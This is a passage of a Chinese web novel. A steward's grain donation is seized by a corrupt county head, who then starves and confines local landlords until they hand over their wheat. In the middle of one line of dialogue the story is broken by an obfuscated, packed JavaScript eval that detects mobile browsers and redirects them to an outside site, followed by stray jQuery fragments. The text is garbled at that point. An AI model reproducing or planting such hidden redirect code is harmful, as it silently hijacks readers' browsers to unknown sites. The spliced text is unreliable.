,咱们确实能大赚上一笔,可挣这样的钱,我怕咱们的女儿没有福报。不管咱们这些粮食能救多少人,至少这样做咱们心里会舒服一点,你说呢?” 做了母亲的于兰芝,性格已经温顺了很多。 “二狗,你想捐多少?” “捐十万斤吧。” 李二狗本来打算在胡家大院门口开个粥棚,救济流离失所的百姓。 他思虑再三,还是放弃了那个念头。 一来是担心灾民太多,如果开粥棚可能造成争抢**件,他负不起这个责。 二来也是担心胡家大院的安全,他不想出这个风头,灾民在极度饥饿的情况下可是什么事情都做得出来。 悄悄捐给县政府,既做了好事,又不至于引人嫉妒,一举两得。 “我都听你的,你看着办吧。” 于兰芝依偎在李二狗怀里,此刻的她只想做一个温柔似水的女人。 李二狗一个人来到县政府门口。 由于县政府前些日子被清风寨一把火烧了,此时正在施工,一座气派的三层小洋楼已经拔地而起。 “站住!干什么的?” 一个站岗的警察上下打量着李二狗,如果不是他穿着一身长袍马褂,早被他一**赶走了。 “我是胡家大院管家李二狗,我找县长有重要事情汇报。” “胡家大院?李二狗?没听说过,你找县长干什么?” 李二狗当然不能告诉他自己找县长的原因,只能说道:“请老总通融通融,我找县长有重要事情汇报。” “你一个乡下土财主的管家,你们老爷都不配给我们县长提鞋,你能有什么重要事情?这里是县政府,你不要来捣乱,不然老子把你抓起来,快滚!” 李二狗刚要发火,想到自己是来做好事的,不能闹得不好看。 阎王好见,小鬼难缠。 他掏出两块大洋,悄悄塞到警察手里,说道:“老总,行个方便,我真的找县长有重要事情汇报。” 警察掂了掂手里的大洋,喜笑颜开,说道:“早这样还用费这番口舌吗?等着,我去给你打电话问问。” 第207章 乐善好施 警察拿起岗亭的电话,很快又从岗亭走了出来。 “好了,你进去吧,进了门一直走到头然后右转有一个接待室。” “谢谢老总。” 李二狗点头哈腰地走了进去。 他来到接待室门口,门开着,里面有一个秃顶的中年男子正在低头看报纸。 他本想直接走进去,想到这是县政府,还是礼貌地敲了敲门。 中年男子头都没抬,继续看报纸。 李二狗以为他没听见,又敲了敲门。 中年男子把报纸扔到桌上,一脸怒气地看着李二狗。 “我说你这人是怎么回事?没看见我正在看报纸吗?再说,门又没关,你敲什么门?” 门难进、脸难看,话难听,估计事肯定也难办。 李二狗灵机一动,说道:“领导你好,我是仙人洞镇胡家大院的管家李二狗,警察局牛局长让我来向王县长汇报一点事情。” 听到是警察局牛局长安排的人,中年男人的脸上立马绽放出迷人的笑容。 “你怎么不早说!你先在这里坐一下,我现在去向王县长汇报。” 此时的王正直正在为灾民的事忙得焦头烂额。 省政府主席夏瀚林不顾全省饥荒、民不聊生,执意不向南京国民政府上报全省灾情,导致南京方面毫不知情,一分钱的赈灾款都没有下拨。 不仅如此,正在打仗的汤司令以修建战壕,整顿军队为名大肆**,横征暴敛,不仅强征民工,克扣口粮,还大**赂之事。 这不上级刚刚给江东县额外摊派了五十万斤的军粮任务,愁得他一夜未睡。 要是不能在规定的期限内完成征粮任务,他这个县长的宝座可就要易主了。 中年男子轻轻敲了敲门,王正直没有理会。 他知道王正直在办公室里面,边敲门边说道:“王县长,外边有人找您,说是警察局牛局长安排来的。” 王正直心想,牛得水摆什么谱,有事不亲自来汇报,还安排手底下人过来,真是不懂规矩。 不过警察局局长手中握有实权,他也不能不重视。 “带他过来吧。” 中年男子答应一声,便立即回到接待室,带着李二狗来到县长办公室门前。 照例是先敲门,这次里面很快就传来应允声。 “王县长,这位先生找您。” 王县长坐在椅子上并没有起身,他只是若有所思地点了点头,中年男子便转身关门走了出去。 “王县长您好,我是仙人洞镇胡家大院的管家李二狗。” 对于胡家大院,王正直倒是有所耳闻,全县最大的地主大院。 “你们老爷叫胡士高?” “是的,王县长。” “你找我有什么事?” “王县长,我们老爷和大奶奶看到江东许多穷苦百姓背井离乡,流离失所,县长您为了百姓日理万机、焦头烂额,我们深感痛心,决定举全大院之力,向县政府捐出十万斤小麦,聊表寸心,以为县长分忧、为百姓解难。” 王正直听后猛地站了起来,直奔到李二狗面前,眼含热泪,紧紧地握住他的手。 “疾风知劲草,板荡识忠臣,你们胡家大院能在江东百姓危难之际挺身而出,慷慨解囊,我代表全江东的百姓感谢你们,谢谢,谢谢,那个……你叫什么来?” “报告县长,鄙人叫李二狗。” “对对对,李二狗,你们的行为让我王某人刮目相看,我要号召全江东的地主富贾向你们学习。” “王县长,您真是太客气了,您为了江东百姓殚精竭虑,日夜操劳,和您比起来,我们做的这点小事根本不值一提。” 王正直发自肺腑的笑了,他没想到一个乡下土财主的管家竟能有如此见识,真是一个不可多得的人才。 “李管家,如果江东的地主富贾都能像你们胡家大院这样心系百姓,为政府分忧,我即使累死也是心甘情愿啊。” “王县长,您过誉了,您看这粮食我们运到哪里?” “就运到县政府后面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872082|190554||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 的仓库吧。” 王正直说完,突然哭了起来,着实把李二狗吓了一跳。 “王县长,您这是怎么了?” 王正直赶紧把脸上的泪水擦掉,不好意思地说道:“让李管家见笑了,哎,我只是为江东的百姓难过,三万多人,这十万斤粮食,实在是杯水车薪呐,撑不了多久的。” 李二狗从未见过如此爱民如子的父母官,他一激动,直接说道:“王县长,您的这份为民情怀实在让我李二狗感动,等我回去向我们老爷和大奶奶汇报,我们勒紧裤腰带,再捐五万斤小麦。” “哎呀,李管家,你的行为让我王某人见识了什么叫乐善好施、什么叫雪中送炭,来,快请坐。” 王正直握住李二狗的手,把他拉到沙发旁,然后亲自去给他倒了一杯热茶。 “李管家,请用茶。” “哎吆,王县长,这怎么敢当?受之有愧,受之有愧。” “李管家你就不要客气,你们胡家大院能主动为政府分忧,我王某人理应感谢,改日我一定登门拜访胡老爷。” “谢谢王县长的厚爱,我代表我们老爷感谢您。” “喝水,喝水。”王正直眼珠子一转,继而说道:“李管家,你们胡家大院虽然捐助了十五万斤粮食,可对咱们整个县来说,还是远远不够啊。” 李二狗倒吸一口凉气,心想这个王正直虽是为了百姓着想,可也不能如此没完没了。 “王县长,我也知道,这十几万斤粮食远远不能满足全县百姓之需,可您也知道,今年接连大旱,夏粮秋粮全部绝收,佃户们的租子根本就收不上来,我们老爷心又善,又不忍心强逼那些佃户,我们交完政府的赋税之后,实在也没有多少余粮了,实不相瞒,这已经是我们胡家大院所有的存粮了。” 王正直内心早已估算过,以胡家大院的实力,一下子拿出十五万斤小麦确实已经到达极限。 “李管家,你千万不要误会,我可不是你想的那个意思。” 第208章 你好糊涂啊 李二狗听王正直如此说,心中才暗暗松了一口气。 “那不知王县长的意思是?” “李管家,咱们江东县不只有你们胡家大院,像其他的大院,如果能向你们胡家大院学习,一定能解决咱们江东目前的困境,你看,其他大院他们有这个实力吗?” 李二狗想到了老王的一句话,中国是大家的中国,每个中国人都是兄弟姐妹,如今遇到天灾,大家理应相互帮助渡过难关才是。 “王县长,和您说实话,其他大院具体是什么情况我真的不知道,不过拿出个三五万斤粮食应该还是没有多大问题。” 听李二狗如此一说,王正直心里便有数了。 胡家大院能一次性捐出十五万斤小麦,其他大院要是不捐出个三五万斤,他就有了正当理由治他们。 “李管家,再次感谢你们胡家大院的慷慨捐助,江东老百姓一定不会忘记你们的功德。” 李二狗知道王正直这是要送客了,便站起身来说道:“王县长您客气了,我明天就把粮食送过来,不过为了确保粮食安全,我斗胆建议是不是请警察局路途护送一下,我怕路上出事。” “这个自然,这个自然,待会我会亲自给警察局牛局长打电话安排此事,李管家现在就可以去警察局和他们对接一下,你也知道,现在灾民嗷嗷待哺,时不我待啊,晚一分钟不知道会饿死多少人。” 王正直一脸悲戚,再次忍不住落下热泪。 “王县长放心,我回去就着手安排,今天晚上一定把粮食送过来。” “再次感谢李管家,我送你出去。” “不敢,不敢,王县长请留步。” 李二狗离开县政府的时候,正好看到一群灾民堵在县政府大门口,几个警察正在对他们拳打脚踢,毫无怜悯之意,他总感觉哪里不对劲。 来到警察局,牛得水已经接到王正直的电话,他安排孙竹刚负责此事。 “大哥,你现在就得派几个兄弟跟我回胡家大院,我得连夜把粮食运过来,那么多灾民实在是等不起啊。” 孙竹刚警惕地瞅了瞅门外,然后关上房门,才低声说道:“二狗兄弟,你好糊涂啊,你说这么大的事情,你怎么不提前找我商量商量之后再做决定?” 李二狗不明所以,问道:“大哥,捐粮食是我们老爷和大奶奶做的决定,我只是负责执行罢了。” “好了,兄弟,这里也没有外人,你就别和哥哥打马虎眼了,谁不知道胡家大院现在由你说了算。” 李二狗嘿嘿一笑,说道:“大哥,可不管怎么说,毕竟是胡家大院,我只是一个管家罢了。” “咱先不管你说了算不算,你先告诉我,你这次给县政府捐了多少粮食?” “十五万斤小麦,怎么了?” “我的天呐,二狗兄弟,你实在是太糊涂了,一下子捐了这么多小麦,你们胡家大院不过了?” “本来打算捐十万斤,可王县长一会夸一会哭,我一激动又捐了五万斤。不过都是为了江东的百姓,多捐点就多捐点吧。” “你以为这些粮食会分到灾民手中吗?” 李二狗听了不由得大吃一惊,其实他有心理准备,这些粮食捐出去之后,政府官员肯定会截留一些,但大部分应该还是会分到灾民手中,县政府总不能眼睁睁瞅着灾民饿死吧? “我想应该不至于吧?” “二狗啊,我明确告诉你,这些粮食肯定不会分到那些灾民手中。” “不会吧?” “二狗兄弟啊,你是没在政府部门待过,不知道政府到底什么样。我刚刚听到的消息,汤司令向江东县额外摊派了五十万斤的军粮。军粮,你知道什么是军粮吗?那是打仗用的,谁敢耽误?可江东县现在一粒粮食都没有,他王正直拿什么交?” “那也不能拿赈济灾民的粮食上交吧?这可是他们救命的粮食!” “谁会在意灾民的死活?和自己头顶上的乌纱帽比起来,灾民是死是活重要吗?全省都在闹旱灾,你见南京国民政府拨过一分钱一粒粮食没有?” 李二狗沉默了,南京国民政府不拨粮拨款进行赈灾,确实令人难以理解。 “我告诉你,不是南京国民政府不拨,而是他们压根就不知道咱们省的灾情。” “不会吧?” “哼,县长要保头顶上的乌纱帽,省长难道就不保吗?现在全国到处都在打仗争地盘,死几个灾民又算什么?” 李二狗彻底哑口无言,他完全没有料到会是这种情形,早知这样,他就应该自己开粥棚进行赈灾。 “大哥,那现在怎么办?” “没有办法,你已经答应了王县长,就必须把粮食交出来,不然他有一万种方法治你。” 李二狗不是没想到官场复杂,他只是对人性还没有更深层次的了解。 “大哥,事已至此,你还得派人帮着把粮食运过来,我想王县长的心也是肉长的,多少总得拿出一部分粮食救济救济灾民。” “哎,但愿如此吧。” 孙竹刚派了一队警察跟着李二狗来到胡家大院,李二狗组织人连夜把粮食运到了县政府仓库。 和孙竹刚预料的一样,第二天县政府并没有组织赈灾,好像什么事都没有发生过一样。 不仅如此,县政府还颁布了一条命令,不允许灾民到县城乞讨,大批灾民被堵在城门口,放眼望去,乌泱乌泱一大片。 李二狗想去县政府问问王正直,给他施加一点压力,没想到大门口的警察根本不让李二狗进去。 李二狗照例掏出两块大洋塞到警察手里,谁承想警察把大洋放进了衣兜,依然不让李二狗进去。 李二狗急了,收人钱财不帮人办事,天底下哪有这种道理。 “老总,您这……您可不能这样啊。” 警察四顾无人,才悄悄对他说道:“实话告诉你吧,王县长特意吩咐过,不让放你进去,你还是走吧,别让我为难。” 李二狗这才确信,王正直这个人根本不正直。 第209章 自愿捐赠 王正直不仅不把胡家大院捐赠的粮食拿出来赈济灾民,还把全县的地主豪绅召集起来开了一次赈灾动员会。 当然这次赈灾动员会并没有邀请胡家大院的人参加。 县政府会议室里,几个地主凑在一起聊天。 “王县长把咱们这些人叫来开会,知道是为了什么事吗?” “不知道,但我估计不是什么好事。” “是啊,现在到处都是灾民,王县长不会为了一点小事把咱们召集起来。” “我听说汤司令刚刚摊派给江东县五十万斤军粮的任务,王县长兴许是为了这件事。” “现在小麦一天一个价都涨疯了,我家这些年存的小麦早让我卖了。” “是啊是啊,我家的也都卖了。” “对,待会王县长要是问起来,咱们一定要众口一词,只要咱们抱成团,相信他也不能拿咱们怎么样!” 正说话间,王正直板着脸走了进来,喧哗的会议室顿时安静下来。 王正直清了清嗓子,看了看秘书给他准备的讲话稿,皱了皱眉头,把讲话稿推到一边。 “特殊时期就不说废话了,咱们直接开门见山。” 王正直说完,眼睛锐利地扫视了一圈下面坐着的地主富贾,他们全部低着头,不敢与他对视。 “各位都是江东县有头有脸的人物,今天把大家请来,不为别的,是为了请大家给县政府和我某人想想办法,以解目前江东之困境。” 会议室里鸦雀无声,大家生怕喘气声大了被王正直注意到自己。 “大家都知道,今年以来咱们江东县遭遇了百年难遇的旱情,夏粮秋粮接连绝产,看着那么多的江东父老食不果腹以致流离失所,我作为一县之长,实在是有愧于江东父老乡亲们的期望,我就是咱们江东的罪人呐!” 王正直讲到动情处,潸然泪下,以至于讲话的声音都有些颤抖。 他拿起手绢,边擦拭眼泪边继续说道:“胡家大院的胡士高心系江东父老,刚刚捐赠了十五万斤小麦。” 会议室立刻出现一阵骚动,大家都在会议室寻找胡家大院的人。 “十五万斤小麦?胡士高这是疯了吗?” “胡家大院怎么会有那么多小麦?” “对啊,不会是在诓我们吧?” “反正我是不信!” “胡家大院连人都没来,肯定有诈!” 王正阳故意咳嗽一声,挥挥手让大家安静下来。 “我知道大家不相信,但这件事千真万确,胡家大院捐赠的十五万斤小麦此刻就存放在县政府后面的仓库里。” “胡士高几乎捐出了他们大院全部的存粮,这种不计较个人得失,心中有大爱、肩上有担当的人,值得我们在座的每一个人好好学习啊。” 大家这才明白王正直召开此次会议的真正目的,原来是想让大家捐赠粮食。 大家内心纷纷开始谴责胡家大院爱出风头,打肿脸充胖子,这是把他们放在火上烤! “我也不想为难大家,捐赠本来就是自愿行为,大家根据自家情况先报个数吧。” 大家纷纷把头低下去,谁都不吭声,既然是自愿,那他们就用沉默来表达自己的态度。 小麦价格堪比黄金,他们是真的舍不得拿出来! 王正直看大家一言不发,当然知道他们心里打的什么算盘。 “沈少爷,你先说说吧。” 沈必达没想到王正直会最先叫他的名字。 他哭丧着脸站起来,说道:“王县长,我家的情况您是知道的,前不久家里刚被土匪抢了,我爹也被他们杀害了。” 沈必达一把鼻涕一把泪诉说着沈家大院的不幸遭遇。 王正直冷哼一声,直接说道:“沈少爷,大家都知道的事就不必说了,你先说说你们沈家大院自愿捐赠多少粮食吧。” 沈必达擦干眼泪,一副豁出去不过了的样子。 “王县长,咱们江东遭了难,我们沈家就是再困难,也不能眼睁睁看着父老乡亲受苦而无动于衷,我们勒紧裤腰带捐赠五千斤小麦,以解燃眉之急。” 王正直冷笑道:“沈少爷还真是把我王某人当叫花子了,五千斤?你还真是慷慨。” “哎,王县长,我知道五千斤小麦实在是不多,可我家真的拿不出更多粮食了,还请王县长体谅我们沈家大院的难处。不过请您放心,等熬过今年,我们沈家大院肯定会多捐赠粮食,支持王县长工作。” “吴老爷,你们吴家大院准备捐赠多少粮食?” 吴老爷颤巍巍站起来,还未说话便先剧烈地咳嗽起来,仿佛要把自己的肺咳出来一般。 “王……县长,老朽……咳咳咳……老朽……咳咳咳……” 王正直鄙夷地看了他一眼,说道:“你先坐下吧。刘老爷,你们刘家大院捐赠多少?” 刘老爷恨不得把脑袋夹在腚沟里,可还是被王正直点了名。 “王县长,我们刘家大院的实力无法和胡家大院、沈家大院相比,我们就先捐三千斤小麦吧,聊表寸心。” 王正直被这群地主豪绅彻底激怒了。 “看来大家是打定决心不给我王某人面子了,那我也就不和大家客气了。” 他一挥手,旁边站着的一个人拿着一沓事先准备好的纸开始给大家发放。 “刚才发给大家的纸上写着你们需要自愿捐赠粮食的数量,谁捐完了才可以离开这间会议室,否则就别怪我王某人不客气了。” 沈必达看着自己拿到的纸上写着小麦五万斤,差点气得背过气去。 “王县长,您就是现在杀了我,我们沈家大院也拿不出这五万斤小麦啊!” “是啊,我们真的拿不出来啊!” “我看王县长还是把我们都拉出去用机枪突突了吧!” “要粮没有,要命一条!” 大家纷纷发泄着自己内心的不满,一时间,会议室吵翻了天。 这一切都在王正直的预料之中。 “谁捐不齐粮食一律不许离开这间会议室,来人!” 四名荷枪实弹的警察推门走了进来。 “你们都给我听好了,没有我的命令任何人不许擅自离开这间会议室,否则立马抓起来打入大牢。” “是!” 声洪如钟,震得众人胆战心惊! 王正直嘴角含笑,他站起身来,再次扫视众人。 “如果你们需要向家里人报信,我这里有人,随时听候你们差遣!” 第210章 谁都不许先认怂 王正直说完之后,立马拍拍屁股走人了,只剩下一屋子的地主豪绅大眼瞪小眼。 “他就是县长也不能如此霸道啊,这不是把咱们关起来了吗?” “对啊,他有什么权力把咱们关起来?咱们都是守法公民!” “最气人的是会上明明说了是自愿捐赠,这怎么说翻脸就翻脸呢?” “不行!我要回家!” 刘家大院刘老爷仗着资历老年纪大,站起来就要往外走,被一个警察拦住。 “王县长有令,任何人不许离开这间会议室!” “老朽都快七十岁了,什么大风大浪没见过?我告诉你们,你们还别吓我,我谁都不怕!” 刘老爷说着就硬要往外闯,这些警察得到的是死命令,放走一个人立马被开除出警察队伍,他们可不管你什么资历年龄,这年头,自己的饭碗才是最重要的。 “站住!再敢向前,老子就不客气了!” 刘老爷把脖子伸出去,嚷道:“小兔崽子,你是谁老子?来来来,你往老子这里打!” 这个稍显稚嫩的警察还是犹豫了,这是遇到老无赖了! 带队的警察是个队长,名叫孙铁柱,他可不管这一套,一把抢过那个稚嫩警察手里的枪,一枪托把刘老爷砸倒在地。 “你们连老人都打,你们还是人吗?” “江东县政府还有没有王法?” “我要到省里去告你们!” 孙铁柱微微一笑,轻蔑地说道:“谁他娘再敢往外闯,一律格杀勿论!” 看着警察猩红的眼神,这些地主豪绅还是害怕了。 两个相熟的地主把刘老爷抬到椅子上,刘老爷被这一枪托砸得着实不轻,嘴里哼哼唧唧地说不出话。 “快给刘老爷喝点热水。” 这时他们才发现,桌上的水杯早被人撤了下去。 “快去拿点水来,刘老爷要喝水。” 警察根本无动于衷。 “吴老爷,这里只有你最年长,你快拿个主意吧。” 吴老爷这时候也不咳嗽了,你捋着山羊胡,沉思良久,终于说道:“大家知道现在小麦多少钱一斤吗?” 沈必达急得头上冒火,说道:“哎呀,吴老爷,都这时候了谁还管小麦多少钱一斤?大家都等着您拿主意呢?” “沈少爷,你还是年轻啊,心急则乱,遇事一定要冷静。” 沈必达只能深深地叹了口气,坐在椅子上不再说话。 “吴老爷,昨天小麦已经涨到二毛五一斤,您问这个干什么?” 吴老爷又捋了捋山羊胡,显得非常镇定。 “大家想一想,小麦二毛五一斤,五万斤小麦得多少钱?” 五万斤小麦,得一万多块现大洋,确实是一笔巨大的数目。 “吴老爷,可我们要是不出,咱们被关在这里就出不去啊。” “只要咱们大家抱成一团,谅他王正直也没有办法,他敢把咱们都杀了?他不敢!” “对对,吴老爷说得对,咱们大家得抱成一团,谁都不许先认怂!” “不能认怂!咱们大家说好了谁都不许认怂,谁先认怂,我操他祖宗!” “好,我同意!” “我也同意!” 达成一致意见后,众人都坐在椅子上,闭目养神,一言不发,只有偶尔传出刘老爷痛苦的呻吟声。 王正直来到会议室门口,孙铁柱刚要敬礼,被王正直一个手势制止了。 “孙队长,里面什么情况?” “王县长,这些人油盐不进,纷纷拿出一股舍命不舍财的劲头,我看很难办啊。” 王正直毕竟是省城派下来的人,见多识广,又上过大学,治几个土财主,他有得是办法。 “从现在开始,一滴水一粒米都不许进入这间会议室,拉屎撒尿也不许出这间会议室。” 孙铁柱皱着眉头,说道:“王县长,这么多人,每人一泡屎,这个会议室可就闻不得了。” 王正直罕见地拍了拍孙铁柱的肩膀,说道:“咱们闻不得,他们更闻不得!” 孙铁柱心领神会,说道:“王县长放心,我保证一只苍蝇也飞不出这间会议室。” 众人齐心协力,在会议室一直坐到天黑。 吴老爷颤巍巍站起来,走到门口,说道:“老朽要上厕所!” “对不起,任何人不许走出这间会议室。” “老朽实在是憋不住了,就让我去吧,你们可以派人跟着我。” “快回去!王县长特批,你们实在忍不住,可以就地解决。” “你你你……” 吴老爷气得手直哆嗦,大口大口喘着粗气。 “吴老爷,您别生气了,再气出个好歹来,我看呐,您要是实在憋不住,就找个角落就地解决吧。” “老朽活了大半辈子,还从未受今天这般羞辱,大庭广众之下,如何能……哎……” 沈必达在日本留过学,脑子比较活泛。 “吴老爷,您等着,我给您支个厕所,来,大家一起帮帮忙。” 在沈必达的指挥和亲自参与下,几张椅子和一张桌布搭成的简易厕所就完工了。 “吴老爷,您去吧。” 吴老爷看着众人齐刷刷的眼神,还是拉不下这张脸。 “算了,算了,老朽还是再忍忍吧。” 不仅吴老爷憋不住,很多人都有些憋不住,但吴老爷一大把年纪都能忍,他们也只好忍着。 夜幕降临,大家都坐在椅子上不再说话,一边肚子饿得咕咕叫,一边屎又憋在腚门上。 突然,一股浓郁的腥臊味袭来,大家纷纷捂住口鼻。 吴老爷泪流满面,原来他尿在了裤子里。 “我真是没脸活下去了!” “吴老爷,您别难过,大家现在还都得指望您主持大局呢,您可千万不能屈服啊。” “是啊,吴老爷,您是咱们大家的主心骨。” 沈必达站出来,大声说道:“娘的!活人还能被尿憋死,都这时候了,大家也不必藏着掖着了,就尽情释放吧。” 沈必达走进自己搭建的简易厕所里,“噗哧噗哧”几声过后,味道很快便充斥到整间会议室,特别酸爽。 王正直选得这间会议室竟然没有窗户,这个计划他真是筹划得天衣无缝。 第211章 舍命不舍财 沈必达给大家做了一个好榜样,其他人便彻底放下了心理包袱。 会议室里瞬间全是“哗啦哗啦”“噗哧噗哧”的声音。 彻底释放之后,会议室简直成了牲口交易市场,那味道…… 众人解决完拉撒问题之后就面临吃喝问题。 刚才大家憋着的时候没觉得怎么饿,释放以后才发现肚子早已饿得前胸贴后背,他们已经一整天滴水未进了。 “真想有个肉包子,我能一口气吃十个!” “还他娘的肉包子,有白面馒头我都能吃十个!” “还他娘的白面馒头,就是窝头我也能一口气吃十个!” “还他娘窝头,现在就是有白开水我都能喝十碗!” “好饿啊!” “好渴啊!” “都他娘别嚎了,赶紧睡觉,睡着就好了。” 大家都不再作声。 夜,很漫长,特别特别漫长! 他们被关在一间密闭的会议室里,完全分不清白天和黑夜。 不知道过了多久,门突然被打开了,孙铁柱差点被臭气熏天的会议室熏晕过去。 他捏着鼻子,大声说道:“王县长看大家已经一整天滴米未进,现在已吩咐厨房蒸好了猪肉大葱馅的肉包子,谁如果想通了,现在立马可以离开这里去餐厅吃肉包子,那肉包子一掰开,滋滋冒油啊,还有热乎乎的鸡蛋汤,老香了。” 大家面面相觑,不知道该如何是好,于是纷纷瞅向吴老爷。 吴老爷闭着眼,根本不为所动。 大家看吴老爷这么大年纪还在坚持,自己实在没有放弃的理由。 一万多块现大洋,够吃几辈子肉包子! 绝对不能屈服! 大家纷纷闭上眼睛,不再理会孙铁柱。 “他娘的,真是一群守财奴,我算是开了眼了,舍命不舍财,我倒要看看你们能坚持到什么时候!” 他“啪”的一声关上房门,然后跑到王正直办公室。 “孙队长,那些人怎么样了?答应了吗?” “报告王县长,那些人舍命不舍财,根本不听劝,真是一点办法都没有啊。” “哼,我倒要看看他们到底还能坚持多久!这才第一天,我有得是时间陪他们玩。” “王县长,如果他们一直不屈服,咱们怎么办?” “哈哈,这些人平时锦衣玉食惯了,能坚持一天已经出乎预料,你放心,他们绝对撑不过明天。” “我担心要是闹出人命,可就不好收场了。” 孙铁柱其实是担心出了事自己会背黑锅。 王正直笑道:“孙队长,书上说了,人不吃不喝,三天之内绝对没有问题,这都是知识点啊,你没事的时候,还得多读书啊。” 孙铁柱嘿嘿一笑,一副受教的模样。 “谢谢王县长的谆谆教诲,以后我一定向王县长学习,多读书,那我先出去了?” “去吧,告诉弟兄们,再辛苦两天,事后每人发三块大洋,你发五块。” “谢谢王县长,谢谢王县长,那我就先去忙了。” 王正直挥了挥手,孙铁柱笑呵呵地走了出去。 离汤司令规定的交粮日期还有三天时间,他有得是时间陪这群老顽固玩。 一天一夜又过去了,这群人已经处于崩溃边缘。 吴老爷饿得奄奄一息,他已经无法坐立,被几个人抬到会议桌上,躺在那里直哼哼。 “吴老爷,我看王县长这次是动了真格,咱们这样下去可不是办法啊。” “是啊,要是真饿死了,咱们就是留再多的小麦又有什么用?” “必须尽快想出一个万全的办法。” “吴老爷,您倒是说句话啊!” 吴老爷终于缓缓地睁开眼睛,嘴唇颤抖着,哆哆嗦嗦地说道:“他……他王正直……不敢饿死……咱们!” 沈必达抢着说道:“吴老爷说得对,王正直就是有再大的胆子,也不敢闹出人命,否则他没法收场,咱们现在要做的就是坚持,一定要坚持到底!” 其实沈必达心中有自己的小九九,他盼望着吴老爷快点饿死,这样的话王正直就不得不放人。 反正自己年轻,肯定不会首先被饿死。 好多人都抱着这种心理,期盼着别人先饿死。 王正直事先也没想到这群守财奴能坚持这么久,如果真活活把人饿死在县政府会议室,一旦传扬出去,自己肯定难逃干系。 大学生毕竟是大学生,读书人王正直立马想出了一个新主意。 他把孙铁柱叫来,吩咐道:“孙队长,你立马去会议室告诉他们,前十个答应捐粮的人可以在原有基础上打八折,后十个在原有基础上涨二成。” 孙铁柱正在担心闹出人命,听到王正直的新安排,立刻喜上眉梢。 “王县长,高!实在是高!” 当孙铁柱把王县长的新安排说出去的时候,会议室先是一片死寂,继而大家争先恐后地向会议室门口跑去。 “我捐!” “我捐!” “我是第一个答应的!” “我才是第一个!” “你敢和我老子抢?我和你拼了!” “我打死你个狗日的!” 会议室顿时乱成一团,再也没有人去关心吴老爷。 吴老爷不甘心坐以待毙,他用尽全身力气从会议桌爬下来,“砰”的一声摔在地上,根本没人有功夫去理会他。 他颤巍巍抬起手举向门口。 “老朽才是第一个!” 看着大家争先恐后的样子,站在窗边的王正直笑得特别灿烂。 第一张多米诺骨牌既倒,后面的就身不由己了。 王正直安排大家在餐厅吃了一顿丰盛的包子,一直等到他们把粮食全部如数送到县政府仓库之后,才陆续把他们放回家。 事后一统计,竟然筹集到了一百万斤小麦,扣除五十万斤军粮,还剩五十万斤。 王正直笑得合不拢嘴,而李二狗则气得直跺脚,他没想到王正直如此贪得无厌,一粒小麦都舍不得拿出来赈济百姓。 他绝不能眼睁睁看着王正直中饱私囊而江东百姓却饿殍满地。 汤司令派部队把五十万斤军粮拉走了。 李二狗决定一定把剩下的五十万斤小麦抢回来,分给全县的灾民。 第212章 一个好消息 李二狗独自赶着马车来到孙竹刚家里。 “嫂子在家吗?” 严婆惜正在床上睡觉,听到自己日思夜想的声音,穿着红肚兜赤着脚就跑了出来。 “二狗兄弟,你可来了!” 严婆惜两眼放光,眼睛直勾勾盯着李二狗。 “嫂子,你这……” 严婆惜一低头,才看到自己衣衫不整,她把李二狗一把拉进来,关上院门。 “二狗兄弟不是外人,咱们进屋说。” “嫂子,我这马车上还有给你带的东西,还是先把东西卸下来吧。” “东西先不着急,咱们先进屋,趁你大哥还没回来。” 好吃不如饺子,疼人不如嫂子,李二狗根本无法拒绝严婆惜的疼爱。 一直到太阳落山,李二狗才不得不说道:“嫂子,大哥应该快回来了吧?” 一语惊醒梦中人。 “对对,你大哥快回来,嫂子这就起床去给你包饺子去,晚上陪你大哥多喝几杯,就在这住下。” 李二狗没办法,这年头求人办事太难了。 严婆惜去做饭,李二狗则把马车上装的几袋子面粉和两扇猪肉搬了下来,堆在厨房里,乐得严婆惜亲了李二狗好几口。 “二狗兄弟,你真是及时雨啊,现在这粮食贵的,都快吃不起了。” “嫂子,你们尽管放心,吃没了我再给你们送。” “二狗兄弟每次来,嫂子都像过年一样,你以后可得常来啊。” “都听嫂子的。”李二狗心不甘情不愿地说道。 两人正说话的时候,孙竹刚回来了。 “二狗兄弟来了,看门口的马车我就猜到是你来了。” 满面红光的严婆惜说道:“你看二狗兄弟送的这些面粉和猪肉,都不知道该怎么感谢二狗兄弟了。” “自家兄弟还感谢什么?你快去给咱兄弟包饺子,晚上我们哥俩得喝几杯。” “还用你说?你待会陪二狗兄弟多喝几杯,让二狗兄弟晚上在家住下。” 孙竹刚和李二狗进了屋。 “二狗兄弟,找我什么事?” “大哥,有件大事我想听听你的意见。” “兄弟你说。” “前两天我们胡家大院向县政府捐赠了十五万斤小麦,王正直又通过卑劣手段让全县的地主乡绅捐赠了大量的粮食,除了被汤司令拉走的五十万斤,现在县政府仓库还有五十万斤小麦,他王正直竟然连一粒粮食都舍不得拿出来赈灾,实在是丧尽天良。” “难道兄弟的意思是想抢……” “大哥以为如何?” “兄弟,上次王正直吃了土匪的亏,他现在变得特别谨慎,前天专门从警察局抽调了三十名警察守卫县政府仓库,这次要想硬来,肯定是没有任何机会的。再说,那么多粮食,也不是说搬走就能搬走的。” “大哥,你放心,兄弟我不是鲁莽之人,再说我也不能害你不是?” “二狗兄弟,你说的这是哪里话?大哥又不是胆小怕事之人,我主要是担心事办不成,再把你折进去,得不偿失啊。” “大哥,你听听我这主意怎么样?” 李二狗把自己的计划全部告诉了孙竹刚。 “好主意啊,没想到兄弟还有这层关系?你真是越来越令我佩服了。” “大哥,咱们是兄弟,我的不就是你的吗?” “二狗兄弟说得对,咱们兄弟不分彼此,我的就是你的。” 严婆惜笑嘻嘻地把菜端了上来,问道:“你们哥俩说什么呢?这么开心,说出来也让我高兴高兴。” “我和二狗兄弟说,我和他不分彼此,我的就是他的,你说是不是?” 严婆惜娇羞一笑,说道:“这还用得着你说?二狗可是咱亲兄弟,你们先喝着,饺子一会就包好。” 